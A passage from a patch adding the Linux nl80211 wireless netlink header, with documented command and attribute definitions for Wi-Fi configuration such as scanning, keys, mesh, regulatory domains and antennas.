TIE, RICIE). + * + * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running + * a critical protocol that needs more reliability in the connection to + * complete. + * + * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can + * return back to normal. + * + * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules. + * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules. + * + * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the + * the new channel information (Channel Switch Announcement - CSA) + * in the beacon for some time (as defined in the + * %NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the + * new channel. Userspace provides the new channel information (using + * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel + * width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform + * other station that transmission must be blocked until the channel + * switch is complete. + * + * @NL80211_CMD_MAX: highest used command number + * @__NL80211_CMD_AFTER_LAST: internal use + */ +enum nl80211_commands { +/* don't change the order or add anything between, this is ABI! */ + NL80211_CMD_UNSPEC, + + NL80211_CMD_GET_WIPHY, /* can dump */ + NL80211_CMD_SET_WIPHY, + NL80211_CMD_NEW_WIPHY, + NL80211_CMD_DEL_WIPHY, + + NL80211_CMD_GET_INTERFACE, /* can dump */ + NL80211_CMD_SET_INTERFACE, + NL80211_CMD_NEW_INTERFACE, + NL80211_CMD_DEL_INTERFACE, + + NL80211_CMD_GET_KEY, + NL80211_CMD_SET_KEY, + NL80211_CMD_NEW_KEY, + NL80211_CMD_DEL_KEY, + + NL80211_CMD_GET_BEACON, + NL80211_CMD_SET_BEACON, + NL80211_CMD_START_AP, + NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP, + NL80211_CMD_STOP_AP, + NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP, + + NL80211_CMD_GET_STATION, + NL80211_CMD_SET_STATION, + NL80211_CMD_NEW_STATION, + NL80211_CMD_DEL_STATION, + + NL80211_CMD_GET_MPATH, + NL80211_CMD_SET_MPATH, + NL80211_CMD_NEW_MPATH, + NL80211_CMD_DEL_MPATH, + + NL80211_CMD_SET_BSS, + + NL80211_CMD_SET_REG, + NL80211_CMD_REQ_SET_REG, + + NL80211_CMD_GET_MESH_CONFIG, + NL80211_CMD_SET_MESH_CONFIG, + + NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */, + + NL80211_CMD_GET_REG, + + NL80211_CMD_GET_SCAN, + NL80211_CMD_TRIGGER_SCAN, + NL80211_CMD_NEW_SCAN_RESULTS, + NL80211_CMD_SCAN_ABORTED, + + NL80211_CMD_REG_CHANGE, + + NL80211_CMD_AUTHENTICATE, + NL80211_CMD_ASSOCIATE, + NL80211_CMD_DEAUTHENTICATE, + NL80211_CMD_DISASSOCIATE, + + NL80211_CMD_MICHAEL_MIC_FAILURE, + + NL80211_CMD_REG_BEACON_HINT, + + NL80211_CMD_JOIN_IBSS, + NL80211_CMD_LEAVE_IBSS, + + NL80211_CMD_TESTMODE, + + NL80211_CMD_CONNECT, + NL80211_CMD_ROAM, + NL80211_CMD_DISCONNECT, + + NL80211_CMD_SET_WIPHY_NETNS, + + NL80211_CMD_GET_SURVEY, + NL80211_CMD_NEW_SURVEY_RESULTS, + + NL80211_CMD_SET_PMKSA, + NL80211_CMD_DEL_PMKSA, + NL80211_CMD_FLUSH_PMKSA, + + NL80211_CMD_REMAIN_ON_CHANNEL, + NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL, + + NL80211_CMD_SET_TX_BITRATE_MASK, + + NL80211_CMD_REGISTER_FRAME, + NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME, + NL80211_CMD_FRAME, + NL80211_CMD_ACTION = NL80211_CMD_FRAME, + NL80211_CMD_FRAME_TX_STATUS, + NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS, + + NL80211_CMD_SET_POWER_SAVE, + NL80211_CMD_GET_POWER_SAVE, + + NL80211_CMD_SET_CQM, + NL80211_CMD_NOTIFY_CQM, + + NL80211_CMD_SET_CHANNEL, + NL80211_CMD_SET_WDS_PEER, + + NL80211_CMD_FRAME_WAIT_CANCEL, + + NL80211_CMD_JOIN_MESH, + NL80211_CMD_LEAVE_MESH, + + NL80211_CMD_UNPROT_DEAUTHENTICATE, + NL80211_CMD_UNPROT_DISASSOCIATE, + + NL80211_CMD_NEW_PEER_CANDIDATE, + + NL80211_CMD_GET_WOWLAN, + NL80211_CMD_SET_WOWLAN, + + NL80211_CMD_START_SCHED_SCAN, + NL80211_CMD_STOP_SCHED_SCAN, + NL80211_CMD_SCHED_SCAN_RESULTS, + NL80211_CMD_SCHED_SCAN_STOPPED, + + NL80211_CMD_SET_REKEY_OFFLOAD, + + NL80211_CMD_PMKSA_CANDIDATE, + + NL80211_CMD_TDLS_OPER, + NL80211_CMD_TDLS_MGMT, + + NL80211_CMD_UNEXPECTED_FRAME, + + NL80211_CMD_PROBE_CLIENT, + + NL80211_CMD_REGISTER_BEACONS, + + NL80211_CMD_UNEXPECTED_4ADDR_FRAME, + + NL80211_CMD_SET_NOACK_MAP, + + NL80211_CMD_CH_SWITCH_NOTIFY, + + NL80211_CMD_START_P2P_DEVICE, + NL80211_CMD_STOP_P2P_DEVICE, + + NL80211_CMD_CONN_FAILED, + + NL80211_CMD_SET_MCAST_RATE, + + NL80211_CMD_SET_MAC_ACL, + + NL80211_CMD_RADAR_DETECT, + + NL80211_CMD_GET_PROTOCOL_FEATURES, + + NL80211_CMD_UPDATE_FT_IES, + NL80211_CMD_FT_EVENT, + + NL80211_CMD_CRIT_PROTOCOL_START, + NL80211_CMD_CRIT_PROTOCOL_STOP, + + NL80211_CMD_GET_COALESCE, + NL80211_CMD_SET_COALESCE, + + NL80211_CMD_CHANNEL_SWITCH, + + /* add new commands above here */ + + /* used to define NL80211_CMD_MAX below */ + __NL80211_CMD_AFTER_LAST, + NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1 +}; + +/* + * Allow user space programs to use #ifdef on new commands by defining them + * here + */ +#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS +#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE +#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE +#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE +#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE +#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE +#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE +#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT + +#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS + +/* source-level API compatibility */ +#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG +#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG +#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE + +/** + * enum nl80211_attrs - nl80211 netlink attributes + * + * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors + * + * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf. + * /sys/class/ieee80211//index + * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming) + * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters + * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz, + * defines the channel together with the (deprecated) + * %NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes + * %NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1 + * and %NL80211_ATTR_CENTER_FREQ2 + * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values + * of &enum nl80211_chan_width, describing the channel width. See the + * documentation of the enum for more information. + * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the + * channel, used for anything but 20 MHz bandwidth + * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the + * channel, used only for 80+80 MHz bandwidth + * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ + * if HT20 or HT40 are to be used (i.e., HT disabled if not included): + * NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including + * this attribute) + * NL80211_CHAN_HT20 = HT20 only + * NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel + * NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel + * This attribute is now deprecated. + * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is + * less than or equal to the RTS threshold; allowed range: 1..255; + * dot11ShortRetryLimit; u8 + * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is + * greater than the RTS threshold; allowed range: 1..255; + * dot11ShortLongLimit; u8 + * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum + * length in octets for frames; allowed range: 256..8000, disable + * fragmentation with (u32)-1; dot11FragmentationThreshold; u32 + * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length + * larger than or equal to this use RTS/CTS handshake); allowed range: + * 0..65536, disable with (u32)-1; dot11RTSThreshold; u32 + * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11 + * section 7.3.2.9; dot11CoverageClass; u8 + * + * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on + * @NL80211_ATTR_IFNAME: network interface name + * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype + * + * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices + * that don't have a netdev (u64) + * + * @NL80211_ATTR_MAC: MAC address (various uses) + * + * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of + * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC + * keys + * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3) + * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11 + * section 7.3.2.25.1, e.g. 0x000FAC04) + * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and + * CCMP keys, each six bytes in little endian + * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key + * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the + * default management key + * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or + * other commands, indicates which pairwise cipher suites are used + * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or + * other commands, indicates which group cipher suite is used + * + * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU + * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing + * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE + * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE + * + * @NL80211_ATTR_STA_AID: Association ID for the station (u16) + * @NL80211_ATTR_STA_FLAGS: flags, nested element with NLA_FLAG attributes of + * &enum nl80211_sta_flags (deprecated, use %NL80211_ATTR_STA_FLAGS2) + * @NL80211_ATTR_STA_LISTEN_INTERVAL: listen interval as defined by + * IEEE 802.11 7.3.1.6 (u16). + * @NL80211_ATTR_STA_SUPPORTED_RATES: supported rates, array of supported + * rates as defined by IEEE 802.11 7.3.2.2 but without the length + * restriction (at most %NL80211_MAX_SUPP_RATES). + * @NL80211_ATTR_STA_VLAN: interface index of VLAN interface to move station + * to, or the AP interface the station was originally added to to. + * @NL80211_ATTR_STA_INFO: information about a station, part of station info + * given for %NL80211_CMD_GET_STATION, nested attribute containing + * info as possible, see &enum nl80211_sta_info. + * + * @NL80211_ATTR_WIPHY_BANDS: Information about an operating bands, + * consisting of a nested array. + * + * @NL80211_ATTR_MESH_ID: mesh id (1-32 bytes). + * @NL80211_ATTR_STA_PLINK_ACTION: action to perform on the mesh peer link + * (see &enum nl80211_plink_action). + * @NL80211_ATTR_MPATH_NEXT_HOP: MAC address of the next hop for a mesh path. + * @NL80211_ATTR_MPATH_INFO: information about a mesh_path, part of mesh path + * info given for %NL80211_CMD_GET_MPATH, nested attribute described at + * &enum nl80211_mpath_info. + * + * @NL80211_ATTR_MNTR_FLAGS: flags, nested element with NLA_FLAG attributes of + * &enum nl80211_mntr_flags. + * + * @NL80211_ATTR_REG_ALPHA2: an ISO-3166-alpha2 country code for which the + * current regulatory domain should be set to or is already set to. + * For example, 'CR', for Costa Rica. This attribute is used by the kernel + * to query the CRDA to retrieve one regulatory domain. This attribute can + * also be used by userspace to query the kernel for the currently set + * regulatory domain. We chose an alpha2 as that is also used by the + * IEEE-802.11 country information element to identify a country. + * Users can also simply ask the wireless core to set regulatory domain + * to a specific alpha2. + * @NL80211_ATTR_REG_RULES: a nested array of regulatory domain regulatory + * rules. + * + * @NL80211_ATTR_BSS_CTS_PROT: whether CTS protection is enabled (u8, 0 or 1) + * @NL80211_ATTR_BSS_SHORT_PREAMBLE: whether short preamble is enabled + * (u8, 0 or 1) + * @NL80211_ATTR_BSS_SHORT_SLOT_TIME: whether short slot time enabled + * (u8, 0 or 1) + * @NL80211_ATTR_BSS_BASIC_RATES: basic rates, array of basic + * rates in format defined by IEEE 802.11 7.3.2.2 but without the length + * restriction (at most %NL80211_MAX_SUPP_RATES). + * + * @NL80211_ATTR_HT_CAPABILITY: HT Capability information element (from + * association request when used with NL80211_CMD_NEW_STATION) + * + * @NL80211_ATTR_SUPPORTED_IFTYPES: nested attribute containing all + * supported interface types, each a flag attribute with the number + * of the interface mode. + * + * @NL80211_ATTR_MGMT_SUBTYPE: Management frame subtype for + * %NL80211_CMD_SET_MGMT_EXTRA_IE. + * + * @NL80211_ATTR_IE: Information element(s) data (used, e.g., with + * %NL80211_CMD_SET_MGMT_EXTRA_IE). + * + * @NL80211_ATTR_MAX_NUM_SCAN_SSIDS: number of SSIDs you can scan with + * a single scan request, a wiphy attribute. + * @NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS: number of SSIDs you can + * scan with a single scheduled scan request, a wiphy attribute. + * @NL80211_ATTR_MAX_SCAN_IE_LEN: maximum length of information elements + * that can be added to a scan request + * @NL80211_ATTR_MAX_SCHED_SCAN_IE_LEN: maximum length of information + * elements that can be added to a scheduled scan request + * @NL80211_ATTR_MAX_MATCH_SETS: maximum number of sets that can be + * used with @NL80211_ATTR_SCHED_SCAN_MATCH, a wiphy attribute. + * + * @NL80211_ATTR_SCAN_FREQUENCIES: nested attribute with frequencies (in MHz) + * @NL80211_ATTR_SCAN_SSIDS: nested attribute with SSIDs, leave out for passive + * scanning and include a zero-length SSID (wildcard) for wildcard scan + * @NL80211_ATTR_BSS: scan result BSS + * + * @NL80211_ATTR_REG_INITIATOR: indicates who requested the regulatory domain + * currently in effect. This could be any of the %NL80211_REGDOM_SET_BY_* + * @NL80211_ATTR_REG_TYPE: indicates the type of the regulatory domain currently + * set. This can be one of the nl80211_reg_type (%NL80211_REGDOM_TYPE_*) + * + * @NL80211_ATTR_SUPPORTED_COMMANDS: wiphy attribute that specifies + * an array of command numbers (i.e. a mapping index to command number) + * that the driver for the given wiphy supports. + * + * @NL80211_ATTR_FRAME: frame data (binary attribute), including frame header + * and body, but not FCS; used, e.g., with NL80211_CMD_AUTHENTICATE and + * NL80211_CMD_ASSOCIATE events + * @NL80211_ATTR_SSID: SSID (binary attribute, 0..32 octets) + * @NL80211_ATTR_AUTH_TYPE: AuthenticationType, see &enum nl80211_auth_type, + * represented as a u32 + * @NL80211_ATTR_REASON_CODE: ReasonCode for %NL80211_CMD_DEAUTHENTICATE and + * %NL80211_CMD_DISASSOCIATE, u16 + * + * @NL80211_ATTR_KEY_TYPE: Key Type, see &enum nl80211_key_type, represented as + * a u32 + * + * @NL80211_ATTR_FREQ_BEFORE: A channel which has suffered a regulatory change + * due to considerations from a beacon hint. This attribute reflects + * the state of the channel _before_ the beacon hint processing. This + * attributes consists of a nested attribute containing + * NL80211_FREQUENCY_ATTR_* + * @NL80211_ATTR_FREQ_AFTER: A channel which has suffered a regulatory change + * due to considerations from a beacon hint. This attribute reflects + * the state of the channel _after_ the beacon hint processing. This + * attributes consists of a nested attribute containing + * NL80211_FREQUENCY_ATTR_* + * + * @NL80211_ATTR_CIPHER_SUITES: a set of u32 values indicating the supported + * cipher suites + * + * @NL80211_ATTR_FREQ_FIXED: a flag indicating the IBSS should not try to look + * for other networks on different channels + * + * @NL80211_ATTR_TIMED_OUT: a flag indicating than an operation timed out; this + * is used, e.g., with %NL80211_CMD_AUTHENTICATE event + * + * @NL80211_ATTR_USE_MFP: Whether management frame protection (IEEE 802.11w) is + * used for the association (&enum nl80211_mfp, represented as a u32); + * this attribute can be used + * with %NL80211_CMD_ASSOCIATE and %NL80211_CMD_CONNECT requests + * + * @NL80211_ATTR_STA_FLAGS2: Attribute containing a + * &struct nl80211_sta_flag_update. + * + * @NL80211_ATTR_CONTROL_PORT: A flag indicating whether user space controls + * IEEE 802.1X port, i.e., sets/clears %NL80211_STA_FLAG_AUTHORIZED, in + * station mode. If the flag is included in %NL80211_CMD_ASSOCIATE + * request, the driver will assume that the port is unauthorized until + * authorized by user space. Otherwise, port is marked authorized by + * default in station mode. + * @NL80211_ATTR_CONTROL_PORT_ETHERTYPE: A 16-bit value indicating the + * ethertype that will be used for key negotiation. It can be + * specified with the associate and connect commands. If it is not + * specified, the value defaults to 0x888E (PAE, 802.1X). This + * attribute is also used as a flag in the wiphy information to + * indicate that protocols other than PAE are supported. + * @NL80211_ATTR_CONTROL_PORT_NO_ENCRYPT: When included along with + * %NL80211_ATTR_CONTROL_PORT_ETHERTYPE, indicates that the custom + * ethertype frames used for key negotiation must not be encrypted. + * + * @NL80211_ATTR_TESTDATA: Testmode data blob, passed through to the driver. + * We recommend using nested, driver-specific attributes within this. + * + * @NL80211_ATTR_DISCONNECTED_BY_AP: A flag indicating that the DISCONNECT + * event was due to the AP disconnecting the station, and not due to + * a local disconnect request. + * @NL80211_ATTR_STATUS_CODE: StatusCode for the %NL80211_CMD_CONNECT + * event (u16) + * @NL80211_ATTR_PRIVACY: Flag attribute, used with connect(), indicating + * that protected APs should be used. This is also used with NEW_BEACON to + * indicate that the BSS is to use protection. + * + * @NL80211_ATTR_CIPHERS_PAIRWISE: Used with CONNECT, ASSOCIATE, and NEW_BEACON + * to indicate which unicast key ciphers will be used with the connection + * (an array of u32). + * @NL80211_ATTR_CIPHER_GROUP: Used with CONNECT, ASSOCIATE, and NEW_BEACON to + * indicate which group key cipher will be used with the connection (a + * u32). + * @NL80211_ATTR_WPA_VERSIONS: Used with CONNECT, ASSOCIATE, and NEW_BEACON to + * indicate which WPA version(s) the AP we want to associate with is using + * (a u32 with flags from &enum nl80211_wpa_versions). + * @NL80211_ATTR_AKM_SUITES: Used with CONNECT, ASSOCIATE, and NEW_BEACON to + * indicate which key management algorithm(s) to use (an array of u32). + * + * @NL80211_ATTR_REQ_IE: (Re)association request information elements as + * sent out by the card, for ROAM and successful CONNECT events. + * @NL80211_ATTR_RESP_IE: (Re)association response information elements as + * sent by peer, for ROAM and successful CONNECT events. + * + * @NL80211_ATTR_PREV_BSSID: previous BSSID, to be used by in ASSOCIATE + * commands to specify using a reassociate frame + * + * @NL80211_ATTR_KEY: key information in a nested attribute with + * %NL80211_KEY_* sub-attributes + * @NL80211_ATTR_KEYS: array of keys for static WEP keys for connect() + * and join_ibss(), key information is in a nested attribute each + * with %NL80211_KEY_* sub-attributes + * + * @NL80211_ATTR_PID: Process ID of a network namespace. + * + * @NL80211_ATTR_GENERATION: Used to indicate consistent snapshots for + * dumps. This number increases whenever the object list being + * dumped changes, and as such userspace can verify that it has + * obtained a complete and consistent snapshot by verifying that + * all dump messages contain the same generation number. If it + * changed then the list changed and the dump should be repeated + * completely from scratch. + * + * @NL80211_ATTR_4ADDR: Use 4-address frames on a virtual interface + * + * @NL80211_ATTR_SURVEY_INFO: survey information about a channel, part of + * the survey response for %NL80211_CMD_GET_SURVEY, nested attribute + * containing info as possible, see &enum survey_info. + * + * @NL80211_ATTR_PMKID: PMK material for PMKSA caching. + * @NL80211_ATTR_MAX_NUM_PMKIDS: maximum number of PMKIDs a firmware can + * cache, a wiphy attribute. + * + * @NL80211_ATTR_DURATION: Duration of an operation in milliseconds, u32. + * @NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION: Device attribute that + * specifies the maximum duration that can be requested with the + * remain-on-channel operation, in milliseconds, u32. + * + * @NL80211_ATTR_COOKIE: Generic 64-bit cookie to identify objects. + * + * @NL80211_ATTR_TX_RATES: Nested set of attributes + * (enum nl80211_tx_rate_attributes) describing TX rates per band. The + * enum nl80211_band value is used as the index (nla_type() of the nested + * data. If a band is not included, it will be configured to allow all + * rates based on negotiated supported rates information. This attribute + * is used with %NL80211_CMD_SET_TX_BITRATE_MASK. + * + * @NL80211_ATTR_FRAME_MATCH: A binary attribute which typically must contain + * at least one byte, currently used with @NL80211_CMD_REGISTER_FRAME. + * @NL80211_ATTR_FRAME_TYPE: A u16 indicating the frame type/subtype for the + * @NL80211_CMD_REGISTER_FRAME command. + * @NL80211_ATTR_TX_FRAME_TYPES: wiphy capability attribute, which is a + * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing + * information about which frame types can be transmitted with + * %NL80211_CMD_FRAME. + * @NL80211_ATTR_RX_FRAME_TYPES: wiphy capability attribute, which is a + * nested attribute of %NL80211_ATTR_FRAME_TYPE attributes, containing + * information about which frame types can be registered for RX. + * + * @NL80211_ATTR_ACK: Flag attribute indicating that the frame was + * acknowledged by the recipient. + * + * @NL80211_ATTR_PS_STATE: powersave state, using &enum nl80211_ps_state values. + * + * @NL80211_ATTR_CQM: connection quality monitor configuration in a + * nested attribute with %NL80211_ATTR_CQM_* sub-attributes. + * + * @NL80211_ATTR_LOCAL_STATE_CHANGE: Flag attribute to indicate that a command + * is requesting a local authentication/association state change without + * invoking actual management frame exchange. This can be used with + * NL80211_CMD_AUTHENTICATE, NL80211_CMD_DEAUTHENTICATE, + * NL80211_CMD_DISASSOCIATE. + * + * @NL80211_ATTR_AP_ISOLATE: (AP mode) Do not forward traffic between stations + * connected to this BSS. + * + * @NL80211_ATTR_WIPHY_TX_POWER_SETTING: Transmit power setting type. See + * &enum nl80211_tx_power_setting for possible values. + * @NL80211_ATTR_WIPHY_TX_POWER_LEVEL: Transmit power level in signed mBm units. + * This is used in association with @NL80211_ATTR_WIPHY_TX_POWER_SETTING + * for non-automatic settings. + * + * @NL80211_ATTR_SUPPORT_IBSS_RSN: The device supports IBSS RSN, which mostly + * means support for per-station GTKs. + * + * @NL80211_ATTR_WIPHY_ANTENNA_TX: Bitmap of allowed antennas for transmitting. + * This can be used to mask out antennas which are not attached or should + * not be used for transmitting. If an antenna is not selected in this + * bitmap the hardware is not allowed to transmit on this antenna. + * + * Each bit represents one antenna, starting with antenna 1 at the first + * bit. Depending on which antennas are selected in the bitmap, 802.11n + * drivers can derive which chainmasks to use (if all antennas belonging to + * a particular chain are disabled this chain should be disabled) and if + * a chain has diversity antennas wether diversity should be used or not. + * HT capabilities (STBC, TX Beamforming, Antenna selection) can be + * derived from the available chains after applying the antenna mask. + * Non-802.11n drivers can derive wether to use diversity or not. + * Drivers may reject configurations or RX/TX mask combinations they cannot + * support by returning -EINVAL. + * + * @NL80211_ATTR_WIPHY_ANTENNA_RX: Bitmap of allowed antennas for receiving. + * This can be used to mask out antennas which are not attached or should + * not be used for receiving. If an antenna is not selected in this bitmap + * the hardware should not be configured to receive on this antenna. + * For a more detailed description see @NL80211_ATTR_WIPHY_ANTENNA_TX. + * + * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_TX: Bitmap of antennas which are available + * for configuration as TX antennas via the above parameters. + * + * @NL80211_ATTR_WIPHY_ANTENNA_AVAIL_RX: Bitmap of antennas which are available + * for configuration as RX antennas via the above parameters. + * + * @NL80211_ATTR_MCAST_RATE: Multicast tx rate (in 100 kbps) for IBSS + * + * @NL80211_ATTR_OFFCHANNEL_TX_OK: For management frame TX, the frame may be + * transmitted on another channel when the channel given doesn't match + * the current channel. If the current channel doesn't match and this + * flag isn't set, the frame will be rejected. This is also used as an + * nl80211 capability flag. + * + * @NL80211_ATTR_BSS_HT_OPMODE: HT operation mode (u16) + * + * @NL80211_ATTR_KEY_DEFAULT_TYPES: A nested attribute containing flags + * attributes, specifying what a key should be set as default as. + * See &enum nl80211_key_default_types. + * + * @NL80211_ATTR_MESH_SETUP: Optional mesh setup parameters. These cannot be + * changed once the mesh is active. + * @NL80211_ATTR_MESH_CONFIG: Mesh configuration parameters, a nested attribute + * containing attributes from &enum nl80211_meshconf_params. + * @NL80211_ATTR_SUPPORT_MESH_AUTH: Currently, this means the underlying driver + * allows auth frames in a mesh to be passed to userspace for processing via + * the @NL80211_MESH_SETUP_USERSPACE_AUTH flag. + * @NL80211_ATTR_STA_PLINK_STATE: The state of a mesh peer link as defined in + * &enum nl80211_plink_state. Used when userspace is driving the peer link + * management state machine. @NL80211_MESH_SETUP_USERSPACE_AMPE or + * @NL80211_MESH_SETUP_USERSPACE_MPM must be enabled. + * + * @NL80211_ATTR_WOWLAN_TRIGGERS_SUPPORTED: indicates, as part of the wiphy + * capabilities, the supported WoWLAN triggers + * @NL80211_ATTR_WOWLAN_TRIGGERS: used by %NL80211_CMD_SET_WOWLAN to + * indicate which WoW triggers should be enabled. This is also + * used by %NL80211_CMD_GET_WOWLAN to get the currently enabled WoWLAN + * triggers. + * + * @NL80211_ATTR_SCHED_SCAN_INTERVAL: Interval between scheduled scan + * cycles, in msecs. + * + * @NL80211_ATTR_SCHED_SCAN_MATCH: Nested attribute with one or more + * sets of attributes to match during scheduled scans. Only BSSs + * that match any of the sets will be reported. These are + * pass-thru filter rules. + * For a match to succeed, the BSS must match all attributes of a + * set. Since not every hardware supports matching all types of + * attributes, there is no guarantee that the reported BSSs are + * fully complying with the match sets and userspace needs to be + * able to ignore them by itself. + * Thus, the implementation is somewhat hardware-dependent, but + * this is only an optimization and the userspace application + * needs to handle all the non-filtered results anyway. + * If the match attributes don't make sense when combined with + * the values passed in @NL80211_ATTR_SCAN_SSIDS (eg. if an SSID + * is included in the probe request, but the match attributes + * will never let it go through), -EINVAL may be returned. + * If ommited, no filtering is done. + * + * @NL80211_ATTR_INTERFACE_COMBINATIONS: Nested attribute listing the supported + * interface combinations. In each nested item, it contains attributes + * defined in &enum nl80211_if_combination_attrs. + * @NL80211_ATTR_SOFTWARE_IFTYPES: Nested attribute (just like + * %NL80211_ATTR_SUPPORTED_IFTYPES) containing the interface types that + * are managed in software: interfaces of these types aren't subject to + * any restrictions in their number or combinations. + * + * @NL80211_ATTR_REKEY_DATA: nested attribute containing the information + * necessary for GTK rekeying in the device, see &enum nl80211_rekey_data. + * + * @NL80211_ATTR_SCAN_SUPP_RATES: rates per to be advertised as supported in scan, + * nested array attribute containing an entry for each band, with the entry + * being a list of supported rates as defined by IEEE 802.11 7.3.2.2 but + * without the length restriction (at most %NL80211_MAX_SUPP_RATES). + * + * @NL80211_ATTR_HIDDEN_SSID: indicates whether SSID is to be hidden from Beacon + * and Probe Response (when response to wildcard Probe Request); see + * &enum nl80211_hidden_ssid, represented as a u32 + * + * @NL80211_ATTR_IE_PROBE_RESP: Information element(s) for Probe Response frame. + * This is used with %NL80211_CMD_NEW_BEACON and %NL80211_CMD_SET_BEACON to + * provide extra IEs (e.g., WPS/P2P IE) into Probe Response frames when the + * driver (or firmware) replies to Probe Request frames. + * @NL80211_ATTR_IE_ASSOC_RESP: Information element(s) for (Re)Association + * Response frames. This is used with %NL80211_CMD_NEW_BEACON and + * %NL80211_CMD_SET_BEACON to provide extra IEs (e.g., WPS/P2P IE) into + * (Re)Association Response frames when the driver (or firmware) replies to + * (Re)Association Request frames. + * + * @NL80211_ATTR_STA_WME: Nested attribute containing the wme configuration + * of the station, see &enum nl80211_sta_wme_attr. + * @NL80211_ATTR_SUPPORT_AP_UAPSD: the device supports uapsd when working + * as AP. + * + * @NL80211_ATTR_ROAM_SUPPORT: Indicates whether the firmware is capable of + * roaming to another AP in the same ESS if the signal lever is low. + * + * @NL80211_ATTR_PMKSA_CANDIDATE: Nested attribute containing the PMKSA caching + * candidate information, see &enum nl80211_pmksa_candidate_attr. + * + * @NL80211_ATTR_TX_NO_CCK_RATE: Indicates whether to use CCK rate or not + * for management frames transmission. In order to avoid p2p probe/action + * frames are being transmitted at CCK rate in 2GHz band, the user space + * applications use this attribute. + * This attribute is used with %NL80211_CMD_TRIGGER_SCAN and + * %NL80211_CMD_FRAME commands. + * + * @NL80211_ATTR_TDLS_ACTION: Low level TDLS action code (e.g. link setup + * request, link setup confirm, link teardown, etc.). Values are + * described in the TDLS (802.11z) specification. + * @NL80211_ATTR_TDLS_DIALOG_TOKEN: Non-zero token for uniquely identifying a + * TDLS conversation between two devices. + * @NL80211_ATTR_TDLS_OPERATION: High level TDLS operation; see + * &enum nl80211_tdls_operation, represented as a u8. + * @NL80211_ATTR_TDLS_SUPPORT: A flag indicating the device can operate + * as a TDLS peer sta. + * @NL80211_ATTR_TDLS_EXTERNAL_SETUP: The TDLS discovery/setup and teardown + * procedures should be performed by sending TDLS packets via + * %NL80211_CMD_TDLS_MGMT. Otherwise %NL80211_CMD_TDLS_OPER should be + * used for asking the driver to perform a TDLS operation. + * + * @NL80211_ATTR_DEVICE_AP_SME: This u32 attribute may be listed for devices + * that have AP support to indicate that they have the AP SME integrated + * with support for the features listed in this attribute, see + * &enum nl80211_ap_sme_features. + * + * 